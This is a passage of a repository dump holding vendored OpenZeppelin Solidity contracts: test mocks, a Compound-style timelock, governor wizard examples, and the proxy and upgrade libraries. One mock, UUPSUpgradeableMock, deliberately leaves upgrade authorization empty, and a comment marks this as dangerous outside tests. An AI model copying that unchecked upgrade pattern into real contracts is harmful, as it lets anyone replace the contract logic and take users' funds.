function div(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMath.div(a, b);
}
function sub(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMath.sub(a, b);
}
function add(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMath.add(a, b);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SingleInheritanceInitializableMocks.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @title MigratableMockV1
* @dev This contract is a mock to test initializable functionality through migrations
*/
contract MigratableMockV1 is Initializable {
uint256 public x;
function initialize(uint256 value) public payable initializer {
x = value;
}
}
/**
* @title MigratableMockV2
* @dev This contract is a mock to test migratable functionality with params
*/
contract MigratableMockV2 is MigratableMockV1 {
bool internal _migratedV2;
uint256 public y;
function migrate(uint256 value, uint256 anotherValue) public payable {
require(!_migratedV2);
x = value;
y = anotherValue;
_migratedV2 = true;
}
}
/**
* @title MigratableMockV3
* @dev This contract is a mock to test migratable functionality without params
*/
contract MigratableMockV3 is MigratableMockV2 {
bool internal _migratedV3;
function migrate() public payable {
require(!_migratedV3);
uint256 oldX = x;
x = y;
y = oldX;
_migratedV3 = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/StorageSlotMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/StorageSlot.sol";
contract StorageSlotMock {
using StorageSlot for bytes32;
function setBoolean(bytes32 slot, bool value) public {
slot.getBooleanSlot().value = value;
}
function setAddress(bytes32 slot, address value) public {
slot.getAddressSlot().value = value;
}
function setBytes32(bytes32 slot, bytes32 value) public {
slot.getBytes32Slot().value = value;
}
function setUint256(bytes32 slot, uint256 value) public {
slot.getUint256Slot().value = value;
}
function getBoolean(bytes32 slot) public view returns (bool) {
return slot.getBooleanSlot().value;
}
function getAddress(bytes32 slot) public view returns (address) {
return slot.getAddressSlot().value;
}
function getBytes32(bytes32 slot) public view returns (bytes32) {
return slot.getBytes32Slot().value;
}
function getUint256(bytes32 slot) public view returns (uint256) {
return slot.getUint256Slot().value;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/StringsMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Strings.sol";
contract StringsMock {
function fromUint256(uint256 value) public pure returns (string memory) {
return Strings.toString(value);
}
function fromUint256Hex(uint256 value) public pure returns (string memory) {
return Strings.toHexString(value);
}
function fromUint256HexFixed(uint256 value, uint256 length) public pure returns (string memory) {
return Strings.toHexString(value, length);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/TimersBlockNumberImpl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Timers.sol";
contract TimersBlockNumberImpl {
using Timers for Timers.BlockNumber;
Timers.BlockNumber private _timer;
function getDeadline() public view returns (uint64) {
return _timer.getDeadline();
}
function setDeadline(uint64 timestamp) public {
_timer.setDeadline(timestamp);
}
function reset() public {
_timer.reset();
}
function isUnset() public view returns (bool) {
return _timer.isUnset();
}
function isStarted() public view returns (bool) {
return _timer.isStarted();
}
function isPending() public view returns (bool) {
return _timer.isPending();
}
function isExpired() public view returns (bool) {
return _timer.isExpired();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/TimersTimestampImpl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Timers.sol";
contract TimersTimestampImpl {
using Timers for Timers.Timestamp;
Timers.Timestamp private _timer;
function getDeadline() public view returns (uint64) {
return _timer.getDeadline();
}
function setDeadline(uint64 timestamp) public {
_timer.setDeadline(timestamp);
}
function reset() public {
_timer.reset();
}
function isUnset() public view returns (bool) {
return _timer.isUnset();
}
function isStarted() public view returns (bool) {
return _timer.isStarted();
}
function isPending() public view returns (bool) {
return _timer.isPending();
}
function isExpired() public view returns (bool) {
return _timer.isExpired();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/UUPS/TestInProd.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../CountersImpl.sol";
import "../../proxy/utils/UUPSUpgradeable.sol";
contract UUPSUpgradeableMock is CountersImpl, UUPSUpgradeable {
// Not having any checks in this function is dangerous! Do not do this outside tests!
function _authorizeUpgrade(address) internal virtual override {}
}
contract UUPSUpgradeableUnsafeMock is UUPSUpgradeableMock {
function upgradeTo(address newImplementation) external virtual override {
ERC1967Upgrade._upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual override {
ERC1967Upgrade._upgradeToAndCall(newImplementation, data, false);
}
}
contract UUPSUpgradeableBrokenMock is UUPSUpgradeableMock {
function upgradeTo(address) external virtual override {
// pass
}
function upgradeToAndCall(address, bytes memory) external payable virtual override {
// pass
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/compound/CompTimelock.sol
================================================
// SPDX-License-Identifier: BSD-3-Clause
// solhint-disable private-vars-leading-underscore
/**
* Copyright 2020 Compound Labs, Inc.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following
* disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
* following disclaimer in the documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote
* products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.8.0;
contract CompTimelock {
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint256 delay_) {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable {}
function setDelay(uint256 delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp() + delay,
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor1.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/Governor.sol";
import "../../governance/extensions/GovernorCountingSimple.sol";
import "../../governance/extensions/GovernorVotes.sol";
import "../../governance/extensions/GovernorVotesQuorumFraction.sol";
import "../../governance/extensions/GovernorTimelockControl.sol";
contract MyGovernor1 is
Governor,
GovernorTimelockControl,
GovernorVotes,
GovernorVotesQuorumFraction,
GovernorCountingSimple
{
constructor(ERC20Votes _token, TimelockController _timelock)
Governor("MyGovernor")
GovernorVotes(_token)
GovernorVotesQuorumFraction(4)
GovernorTimelockControl(_timelock)
{}
function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) {
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(Governor, IGovernor) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(Governor, GovernorTimelockControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor2.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/Governor.sol";
import "../../governance/extensions/GovernorProposalThreshold.sol";
import "../../governance/extensions/GovernorCountingSimple.sol";
import "../../governance/extensions/GovernorVotes.sol";
import "../../governance/extensions/GovernorVotesQuorumFraction.sol";
import "../../governance/extensions/GovernorTimelockControl.sol";
contract MyGovernor2 is
Governor,
GovernorTimelockControl,
GovernorProposalThreshold,
GovernorVotes,
GovernorVotesQuorumFraction,
GovernorCountingSimple
{
constructor(ERC20Votes _token, TimelockController _timelock)
Governor("MyGovernor")
GovernorVotes(_token)
GovernorVotesQuorumFraction(4)
GovernorTimelockControl(_timelock)
{}
function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
function proposalThreshold() public pure override returns (uint256) {
return 1000e18;
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) {
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(Governor, GovernorProposalThreshold, IGovernor) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(Governor, GovernorTimelockControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor3.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/Governor.sol";
import "../../governance/compatibility/GovernorCompatibilityBravo.sol";
import "../../governance/extensions/GovernorVotes.sol";
import "../../governance/extensions/GovernorVotesQuorumFraction.sol";
import "../../governance/extensions/GovernorTimelockControl.sol";
contract MyGovernor is
Governor,
GovernorTimelockControl,
GovernorCompatibilityBravo,
GovernorVotes,
GovernorVotesQuorumFraction
{
constructor(ERC20Votes _token, TimelockController _timelock)
Governor("MyGovernor")
GovernorVotes(_token)
GovernorVotesQuorumFraction(4)
GovernorTimelockControl(_timelock)
{}
function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
function proposalThreshold() public pure override returns (uint256) {
return 1000e18;
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId)
public
view
override(Governor, IGovernor, GovernorTimelockControl)
returns (ProposalState)
{
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(Governor, GovernorCompatibilityBravo, IGovernor) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(Governor, IERC165, GovernorTimelockControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/package.json
================================================
{
"name": "@openzeppelin/contracts",
"description": "Secure Smart Contract library for Solidity",
"version": "4.4.2",
"files": [
"**/*.sol",
"/build/contracts/*.json",
"!/mocks/**/*"
],
"scripts": {
"prepare": "bash ../scripts/prepare-contracts-package.sh",
"prepare-docs": "cd ..; npm run prepare-docs"
},
"repository": {
"type": "git",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts.git"
},
"keywords": [
"solidity",
"ethereum",
"smart",
"contracts",
"security",
"zeppelin"
],
"author": "OpenZeppelin Community ",
"license": "MIT",
"bugs": {
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/issues"
},
"homepage": "https://openzeppelin.com/contracts/"
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/Clones.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
pragma solidity ^0.8.0;
import "../Proxy.sol";
import "./ERC1967Upgrade.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Upgrade.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeacon.sol";
import "../../utils/Address.sol";
import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/Proxy.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/README.adoc
================================================
= Proxies
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/proxy
This is a low-level set of contracts implementing different proxy patterns with and without upgradeability. For an in-depth overview of this pattern check out the xref:upgrades-plugins::proxies.adoc[Proxy Upgrade Pattern] page.
